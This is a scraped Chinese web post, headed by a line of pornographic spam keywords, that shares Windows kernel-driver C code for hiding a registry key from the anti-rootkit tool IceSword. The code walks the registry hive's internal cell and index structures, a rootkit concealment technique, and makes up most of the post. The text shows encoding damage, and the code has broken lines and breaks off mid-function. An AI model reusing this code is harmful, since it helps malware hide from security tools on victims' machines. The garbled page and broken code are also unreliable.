日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

一段隱藏注冊表項的代碼

發(fā)一段隱藏注冊表項的驅動代碼 , 可以過目前最新的IceSword1.22 。
以前驅動開發(fā)網懸賞挑戰(zhàn)IceSword時寫的 , 不過最后沒公開 。那時流氓軟件勢頭正勁 , 我可不想火上澆油 ?,F在反流氓軟件日漸成熟 , 也就沒關系了 。知道了原理 , 防御是非常容易的 。
原理很簡單 , 實現的代碼也很短 , 啥都不用說 , 各位直接看示例代碼吧 。
#include
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr(offset##Offset) ) )
#define CM_KEY_INDEX_ROOT;;;0x6972 // ir
#define CM_KEY_INDEX_LEAF;;;0x696c // il
#define CM_KEY_FAST_LEAF;;;;0x666c // fl
#define CM_KEY_HASH_LEAF;;;;0x686c // hl
// 一些CM的數據結構 , 只列出用到的開頭部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare;;;;;// used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[2];;;// Stable and Volatile
HANDLE SubKeyLists[2];;;// Stable and Volatile
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;
【一段隱藏注冊表項的代碼】typedef struct _CM_KEY_INDEX {
USHORT Signature;
USHORT Count;
HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;
typedef struct _CM_KEY_BODY {
ULONG Type // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, *PHHIVE;
#pragma pack()
// 需隱藏的主鍵名
WCHAR g_HideKeyName[] = L"RegistryMachineSYSTEMCurrentControlSetServicesBeep";
PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
// 打開指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
RtlInitUnicodeString(&uKeyName, pwcsKeyName);
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lxn", status);
return NULL;
}
return hKey;
}
// 獲取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
if (hKey == NULL) return NULL;
// 由Key句柄獲取對象體
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lxn", status);
return NULL;
}
// 對象體中含有KeyControlBlock
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lxn", KCB);
ObDereferenceObject(KeyBody);
return KCB;
}
// 獲取父鍵的最后一個子鍵的節(jié)點
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 獲取父鍵的節(jié)點
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 獲取子鍵的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
DbgPrint("ParentNode = %lxnIndex = %lxn", ParentNode, Index);
// 如果為根(二級)索引 , 獲取最后一個索引
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lxn", Index);
}
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速葉索引(2k)或散列葉索引(XP/2k3) , 返回最后的節(jié)點
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);

推薦閱讀